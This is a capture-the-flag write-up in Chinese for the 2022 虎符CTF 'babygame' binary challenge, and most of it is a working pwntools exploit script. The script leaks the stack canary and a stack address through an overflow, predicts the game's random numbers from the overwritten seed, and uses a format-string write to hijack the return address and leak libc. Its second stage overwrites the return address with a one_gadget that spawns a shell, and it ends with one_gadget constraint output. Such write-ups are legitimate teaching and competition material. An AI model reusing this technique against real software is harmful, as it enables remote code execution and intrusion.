[虎符CTF 2022]babygame wp

格式化字符串任意地址覆盖
glibc 2.31-9.7
main函数返回地址和call sub_13F7只差1字节


第一次劫持ret到此处并且泄露libc
第二次覆盖ret地址值为one_gadget即可
注意随机数每一次都要重新生成,不要写在if里面,不然出错
exp:

from pwn import *
from ctypes import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./service")
io=remote("node3.anna.nssctf.cn",28642)
elf=ELF("./service")
cs=cdll.LoadLibrary("./libc-2.31.so")
libc=ELF("./libc-2.31.so")

# gdb.attach(io)
# pause()

io.sendafter(b"name:\n",b"a"*0x109)
io.recvuntil(b"a"*0x109)
canary=u64(io.recv(7).rjust(8,b"\x00"))
stack_addr=u64(io.recv(6).ljust(8,b"\x00"))
print("canary: "+hex(canary))
print("stack_addr: "+hex(stack_addr))

cs.srand(0x61616161)

def game():
    io.recvuntil(b": \n")
    num=cs.rand()%3
    if num==1:
        io.sendline(b"2")
    if num==2:
        io.sendline(b"0")
    if num==0:
        io.sendline(b"1")

for i in range(100):
    game()

ret_addr=stack_addr-0x218

payload="%{}c%{}$hhn.%9$p.".format(0x3e,8).encode()+p64(ret_addr)
#向偏移为8处存储ret_addr并覆盖ret_addr地址处数据低字节`\x43`为`\x3e`从而返回vuln
#同时泄露libc地址

io.sendafter(b"you.\n",payload)

io.recvuntil(b".")
leak_addr=int(io.recv(14),16)-175-libc.sym[b"printf"]
print("leak_addr: ",hex(leak_addr))
shell=leak_addr+0xe3b31

payload=fmtstr_payload(6,{ret_addr:shell})
io.send(payload)
#修改ret_addr为one_gadget

io.interactive()

# 0xe3b2e execve("/bin/sh", r15, r12)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [r12] == NULL || r12 == NULL

# 0xe3b31 execve("/bin/sh", r15, rdx)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xe3b34 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL